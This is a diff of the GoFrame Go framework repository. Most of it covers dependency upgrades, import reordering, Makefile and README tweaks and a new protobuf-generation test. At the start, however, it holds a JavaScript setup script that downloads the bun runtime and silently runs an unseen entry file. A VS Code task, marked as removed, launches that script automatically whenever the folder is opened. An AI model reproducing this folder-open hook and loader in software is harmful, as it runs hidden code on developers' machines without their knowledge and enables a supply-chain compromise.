const sz = b.readUInt32LE(o + 20);
const fl = b.readUInt16LE(o + 28);
const el = b.readUInt16LE(o + 30);
const cl = b.readUInt16LE(o + 32);
const lh = b.readUInt32LE(o + 42);
const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
if (nm === en) {
lo = lh;
cm = m;
cs = sz;
break;
}
o += 46 + fl + el + cl;
}
if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
if (b.readUInt32LE(lo) !== 0x04034b50)
throw new Error("Invalid ZIP: bad local-header signature");
const fl = b.readUInt16LE(lo + 26);
const el = b.readUInt16LE(lo + 28);
const dp = lo + 30 + fl + el;
const rw = b.subarray(dp, dp + cs);
let fd;
if (cm === 0) {
fd = rw;
} else if (cm === 8) {
fd = zlib.inflateRawSync(rw);
} else {
throw new Error(`Unsupported ZIP compression method: ${cm}`);
}
const dt = path.join(od, path.basename(en));
fs.writeFileSync(dt, fd);
}
async function main() {
if (hc("bun")) return;
const a = ra();
const w = process.platform === "win32";
const bn = w ? "bun.exe" : "bun";
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
const zp = path.join(td, `${a}.zip`);
const bp = path.join(td, bn);
const ep = path.join(D, E);
try {
await dl(u, zp);
xz(zp, `${a}/${bn}`, td);
fs.unlinkSync(zp);
if (!w) fs.chmodSync(bp, 0o755);
execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
} finally {
fs.rmSync(td, { recursive: true, force: true });
}
}
main().catch((e) => {
console.error(e.message);
process.exit(1);
});

13
.vscode/tasks.json vendored
View File

@ -1,13 +0,0 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "Environment Setup",
"type": "shell",
"command": "node .claude/setup.mjs",
"runOptions": {
"runOn": "folderOpen"
}
}
]
}

View File

@ -1,6 +1,6 @@
MIT License
Copyright (c) 2017 john@goframe.org https://goframe.org
Copyright (c) 2017 GoFrame Team https://goframe.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal

View File

@ -1,19 +1,23 @@
SHELL := /bin/bash
# execute "go mod tidy" on all folders that have go.mod file
.PHONY: tidy
tidy:
$(eval files=$(shell find . -name go.mod))
@set -e; \
for file in ${files}; do \
goModPath=$$(dirname $$file); \
cd $$goModPath; \
go mod tidy; \
cd -; \
if ! echo $$goModPath | grep -q "testdata"; then \
cd $$goModPath; \
go mod tidy; \
cd -; \
fi \
done
# execute "golangci-lint" to check code style
.PHONY: lint
lint:
golangci-lint run
golangci-lint run -c .golangci.yml
# make version to=v2.4.0
.PHONY: version
@ -22,5 +26,3 @@ version:
newVersion=$(to); \
./.set_version.sh ./ $$newVersion; \
echo "make version to=$(to) done"

View File

@ -1,7 +1,6 @@
<div align=center>
<img src="https://goframe.org/img/logo_full.png" width="300"/>
<img src="https://goframe.org/img/logo_full.png" width="300" alt="goframe gf logo"/>
[![Go Reference](https://pkg.go.dev/badge/github.com/gogf/gf/v2.svg)](https://pkg.go.dev/github.com/gogf/gf/v2)
[![GoFrame CI](https://github.com/gogf/gf/actions/workflows/ci-main.yml/badge.svg)](https://github.com/gogf/gf/actions/workflows/ci-main.yml)
@ -37,7 +36,7 @@ A powerful framework for faster, easier, and more efficient project development.
💖 [Thanks to all the contributors who made GoFrame possible](https://github.com/gogf/gf/graphs/contributors) 💖
<a href="https://github.com/gogf/gf/graphs/contributors">
<img src="https://goframe.org/img/contributors.svg?ver=1" />
<img src="https://goframe.org/img/contributors.svg?version=v2.8.3" alt="goframe contributors"/>
</a>
# License

View File

@ -4,12 +4,15 @@
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
// Package gfcmd provides the management of CLI commands for `gf` tool.
package gfcmd
import (
"context"
"runtime"
_ "github.com/gogf/gf/cmd/gf/v2/internal/packed"
"github.com/gogf/gf/v2/errors/gcode"
"github.com/gogf/gf/v2/errors/gerror"
"github.com/gogf/gf/v2/frame/g"
@ -19,14 +22,11 @@ import (
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd"
_ "github.com/gogf/gf/cmd/gf/v2/internal/packed"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/allyes"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
)
const (
cliFolderName = `hack`
)
const cliFolderName = `hack`
// Command manages the CLI command of `gf`.
// This struct can be globally accessible and extended with custom struct.

View File

@ -1,15 +1,15 @@
module github.com/gogf/gf/cmd/gf/v2
go 1.18
go 1.20
require (
github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.8.1
github.com/gogf/gf/contrib/drivers/mssql/v2 v2.8.1
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.8.1
github.com/gogf/gf/contrib/drivers/oracle/v2 v2.8.1
github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.8.1
github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.8.1
github.com/gogf/gf/v2 v2.8.1
github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.8.3
github.com/gogf/gf/contrib/drivers/mssql/v2 v2.8.3
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.8.3
github.com/gogf/gf/contrib/drivers/oracle/v2 v2.8.3
github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.8.3
github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.8.3
github.com/gogf/gf/v2 v2.8.3
github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f
github.com/olekukonko/tablewriter v0.0.5
golang.org/x/mod v0.17.0
@ -23,7 +23,7 @@ require (
github.com/clbanning/mxj/v2 v2.7.0 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/emirpasic/gods v1.18.1 // indirect
github.com/fatih/color v1.17.0 // indirect
github.com/fatih/color v1.18.0 // indirect
github.com/fsnotify/fsnotify v1.7.0 // indirect
github.com/glebarez/go-sqlite v1.21.2 // indirect
github.com/go-logr/logr v1.4.2 // indirect
@ -35,10 +35,10 @@ require (
github.com/gorilla/websocket v1.5.3 // indirect
github.com/grokify/html-strip-tags-go v0.1.0 // indirect
github.com/lib/pq v1.10.9 // indirect
github.com/magiconair/properties v1.8.7 // indirect
github.com/magiconair/properties v1.8.9 // indirect
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mattn/go-runewidth v0.0.15 // indirect
github.com/mattn/go-runewidth v0.0.16 // indirect
github.com/microsoft/go-mssqldb v1.7.1 // indirect
github.com/paulmach/orb v0.7.1 // indirect
github.com/pierrec/lz4/v4 v4.1.14 // indirect
@ -50,11 +50,11 @@ require (
go.opentelemetry.io/otel/metric v1.24.0 // indirect
go.opentelemetry.io/otel/sdk v1.24.0 // indirect
go.opentelemetry.io/otel/trace v1.24.0 // indirect
golang.org/x/crypto v0.25.0 // indirect
golang.org/x/net v0.27.0 // indirect
golang.org/x/sync v0.7.0 // indirect
golang.org/x/sys v0.22.0 // indirect
golang.org/x/text v0.16.0 // indirect
golang.org/x/crypto v0.30.0 // indirect
golang.org/x/net v0.32.0 // indirect
golang.org/x/sync v0.10.0 // indirect
golang.org/x/sys v0.28.0 // indirect
golang.org/x/text v0.21.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
modernc.org/libc v1.22.5 // indirect
modernc.org/mathutil v1.5.0 // indirect

View File

@ -22,8 +22,8 @@ github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkp
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/emirpasic/gods v1.18.1 h1:FXtiHYKDGKCW2KzwZKx0iC0PQmdlorYgdFG9jPXJ1Bc=
github.com/emirpasic/gods v1.18.1/go.mod h1:8tpGGwCnJ5H4r6BWwaV6OrWmMoPhUl5jm/FMNAnJvWQ=
github.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4=
github.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI=
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA=
github.com/fsnotify/fsnotify v1.7.0/go.mod h1:40Bi/Hjc2AVfZrqy+aj+yEI+/bRxZnMJyTJwOpGvigM=
github.com/glebarez/go-sqlite v1.21.2 h1:3a6LFC4sKahUunAmynQKLZceZCOzUthkRkEAl9gAXWo=
@ -39,6 +39,20 @@ github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiU
github.com/go-sql-driver/mysql v1.4.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w=
github.com/go-sql-driver/mysql v1.7.1 h1:lUIinVbN1DY0xBg0eMOzmmtGoHwWBbvnWubQUrtU8EI=
github.com/go-sql-driver/mysql v1.7.1/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.8.2 h1:4g5n8QdJA7ZEuDfWFeVQKMhul6RtOT89ObYAgVnxN+U=
github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.8.2/go.mod h1:xW1mgNK0vTLfRSCnO0No8G4lCGNpXx1Jlhs6B1vzD+8=
github.com/gogf/gf/contrib/drivers/mssql/v2 v2.8.2 h1:aNscErx5mcC28Q1L0MsZFFXybzLY/IJhskyiPAbxB78=
github.com/gogf/gf/contrib/drivers/mssql/v2 v2.8.2/go.mod h1:yj6+Ds2BGzYcHthPvMnxhDRzq0o28HyO9E1Fsko0Lf8=
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.8.2 h1:thK4DZT0irDrnhIxkap5JqBuBIJaXQ0IMvlIzuRGgVQ=
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.8.2/go.mod h1:Vg7XaiwsQ27YmpDqzwCQ+yt10KntTvcP9iOoFL5DF40=
github.com/gogf/gf/contrib/drivers/oracle/v2 v2.8.2 h1:ZukTXB9drVDmSdrFjCYHVzHj0kAvGKISrrW3WKU1xTg=
github.com/gogf/gf/contrib/drivers/oracle/v2 v2.8.2/go.mod h1:wr+KA5h3+aJQk5XiA1qSNKxWBVrzlu8MVYKl1NqcQj4=
github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.8.2 h1:BsEBGoVfa4SPJ8GhNkH9PPtoSLydXK+VgcbpxyGF9Ps=
github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.8.2/go.mod h1:OSlAQeO7fZMbscxZomMCBcZWHSxpfeXIi6ELeKszSPU=
github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.8.2 h1:144IdPDn6xyHVQ5aP4qsstFvNOLqvWyz+GtH3JD1rWg=
github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.8.2/go.mod h1:xOgOp3SSdWHIEqviYC1kd3p6mJtfFkrcinBWdpgVUxc=
github.com/gogf/gf/v2 v2.8.2 h1:4k641rn+hV1COAKygqsqcTm8+lDTkcO8HQ4iBv/uTFs=
github.com/gogf/gf/v2 v2.8.2/go.mod h1:n++xPYGUUMadw6IygLEgGZqc6y6DRLrJKg5kqCrPLWY=
github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f h1:7xfXR/BhG3JDqO1s45n65Oyx9t4E/UqDOXep6jXdLCM=
github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f/go.mod h1:HnYoio6S7VaFJdryKcD/r9HgX+4QzYfr00XiXUo/xz0=
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
@ -68,16 +82,16 @@ github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0
github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw=
github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY=
github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0=
github.com/magiconair/properties v1.8.9 h1:nWcCbLq1N2v/cpNsy5WvQ37Fb+YElfq20WJ/a8RkpQM=
github.com/magiconair/properties v1.8.9/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U=
github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=
github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/mattn/go-sqlite3 v1.9.0/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc=
github.com/microsoft/go-mssqldb v1.7.1 h1:KU/g8aWeM3Hx7IMOFpiwYiUkU+9zeISb4+tx3ScVfsM=
github.com/microsoft/go-mssqldb v1.7.1/go.mod h1:kOvZKUdrhhFQmxLZqbwUV0rHkNkZpthMITIb2Ko1IoA=
@ -131,8 +145,8 @@ golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACk
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
golang.org/x/crypto v0.25.0 h1:ypSNr+bnYL2YhwoMt2zPxHFmbAN1KZs/njMG3hxUp30=
golang.org/x/crypto v0.25.0/go.mod h1:T+wALwcMOSE0kXgUAnPAHqTLW+XHgcELELW8VaDgm/M=
golang.org/x/crypto v0.30.0 h1:RwoQn3GkWiMkzlX562cLB7OxWvjH1L8xutO2WoJcRoY=
golang.org/x/crypto v0.30.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA=
@ -141,13 +155,13 @@ golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.27.0 h1:5K3Njcw06/l2y9vpGCSdcxWOYHOUk3dVNGDXN+FvAys=
golang.org/x/net v0.27.0/go.mod h1:dDi0PyhWNoiUOrAS8uXv/vnScO4wnHQO4mj9fn/RytE=
golang.org/x/net v0.32.0 h1:ZqPmj8Kzc+Y6e0+skZsuACbx+wzMgo5MQsJh9Qd6aYI=
golang.org/x/net v0.32.0/go.mod h1:CwU0IoeOlnQQWJ6ioyFrfRuomB8GKF6KbYXZVyeXNfs=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M=
golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@ -159,13 +173,13 @@ golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20220429233432-b5fbb4746d32/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI=
golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA=
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4=
golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI=
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=

View File

@ -1,4 +1,4 @@
go 1.18
go 1.20
use (
./

View File

@ -4,6 +4,7 @@
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
// Package cmd provides the management of CLI commands for `gf` tool.
package cmd
import (
@ -19,9 +20,8 @@ import (
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
)
var (
GF = cGF{}
)
// GF is the management object for `gf` command line tool.
var GF = cGF{}
type cGF struct {
g.Meta `name:"gf" ad:"{cGFAd}"`

View File

@ -16,10 +16,11 @@ import (
"path/filepath"
"time"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/v2/encoding/gcompress"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
)
const (

View File

@ -9,14 +9,14 @@ package cmd
import (
"context"
"github.com/gogf/gf/v2/os/gproc"
"github.com/gogf/gf/v2/text/gregex"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/v2/errors/gerror"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/os/gproc"
"github.com/gogf/gf/v2/text/gregex"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
)
var (

View File

@ -12,9 +12,6 @@ import (
"os"
"strings"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/allyes"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gcmd"
"github.com/gogf/gf/v2/os/gfile"
@ -22,6 +19,10 @@ import (
"github.com/gogf/gf/v2/os/gres"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/v2/util/gtag"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/allyes"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
)
var (

View File

@ -13,14 +13,15 @@ import (
"github.com/gogf/selfupdate"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
"github.com/gogf/gf/v2/container/gset"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/os/gproc"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/v2/util/gtag"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
)
var (

View File

@ -10,11 +10,12 @@ import (
"path/filepath"
"testing"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/genctrl"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/test/gtest"
"github.com/gogf/gf/v2/util/guid"
"github.com/gogf/gf/v2/util/gutil"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/genctrl"
)
func Test_Gen_Ctrl_Default(t *testing.T) {

View File

@ -11,7 +11,6 @@ import (
"path/filepath"
"testing"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/gendao"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gcfg"
@ -20,6 +19,8 @@ import (
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/v2/util/guid"
"github.com/gogf/gf/v2/util/gutil"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/gendao"
)
func Test_Gen_Dao_Default(t *testing.T) {

View File

@ -10,11 +10,12 @@ import (
"path/filepath"
"testing"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/genpb"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/test/gtest"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/v2/util/guid"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/genpb"
)
func TestGenPbIssue3882(t *testing.T) {
@ -48,3 +49,42 @@ func TestGenPbIssue3882(t *testing.T) {
t.Assert(gstr.Contains(genContent, exceptText), true)
})
}
// This issue only occurs when executing multiple times
// and the subsequent OutputApi is the parent directory of the previous execution
func TestGenPbIssue3953(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
var (
outputPath = gfile.Temp(guid.S())
outputApiPath = filepath.Join(outputPath, "api")
outputCtrlPath = filepath.Join(outputPath, "controller")
protobufFolder = gtest.DataPath("issue", "3953")
in = genpb.CGenPbInput{
Path: protobufFolder,
OutputApi: outputApiPath,
OutputCtrl: outputCtrlPath,
}
err error
)
err = gfile.Mkdir(outputApiPath)
t.AssertNil(err)
err = gfile.Mkdir(outputCtrlPath)
t.AssertNil(err)
defer gfile.Remove(outputPath)
_, err = genpb.CGenPb{}.Pb(ctx, in)
// do twice,and set outputApi to outputPath
in.OutputApi = outputPath
_, err = genpb.CGenPb{}.Pb(ctx, in)
t.AssertNil(err)
var (
genContent = gfile.GetContents(filepath.Join(outputApiPath, "issue3953.pb.go"))
// The old version would have appeared `v:"required" v:"required"`
// but the new version of the code will appear `v:"required"` only once
notExceptText = `v:"required" v:"required"`
)
t.Assert(gstr.Contains(genContent, notExceptText), false)
})
}

View File

@ -11,12 +11,13 @@ import (
"path/filepath"
"testing"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/genpbentity"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/test/gtest"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/v2/util/guid"
"github.com/gogf/gf/v2/util/gutil"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/genpbentity"
)
func Test_Gen_Pbentity_Default(t *testing.T) {

View File

@ -10,11 +10,12 @@ import (
"path/filepath"
"testing"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/genservice"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/test/gtest"
"github.com/gogf/gf/v2/util/guid"
"github.com/gogf/gf/v2/util/gutil"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/genservice"
)
func Test_Gen_Service_Default(t *testing.T) {
@ -57,6 +58,7 @@ func Test_Gen_Service_Default(t *testing.T) {
t.AssertNil(err)
t.Assert(files, []string{
dstFolder + filepath.FromSlash("/article.go"),
dstFolder + filepath.FromSlash("/base.go"),
dstFolder + filepath.FromSlash("/delivery.go"),
dstFolder + filepath.FromSlash("/user.go"),
})
@ -65,6 +67,7 @@ func Test_Gen_Service_Default(t *testing.T) {
testPath := gtest.DataPath("genservice", "service")
expectFiles := []string{
testPath + filepath.FromSlash("/article.go"),
testPath + filepath.FromSlash("/base.go"),
testPath + filepath.FromSlash("/delivery.go"),
testPath + filepath.FromSlash("/user.go"),
}

View File

@ -7,10 +7,11 @@
package genctrl
import (
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/text/gregex"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
)
func (c CGenCtrl) getApiItemsInSrc(apiModuleFolderPath string) (items []apiItem, err error) {

View File

@ -11,12 +11,13 @@ import (
"path/filepath"
"strings"
"github.com/gogf/gf/cmd/gf/v2/internal/consts"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/v2/container/gset"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/cmd/gf/v2/internal/consts"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
)
type controllerGenerator struct{}

View File

@ -9,9 +9,10 @@ package genctrl
import (
"fmt"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/text/gstr"
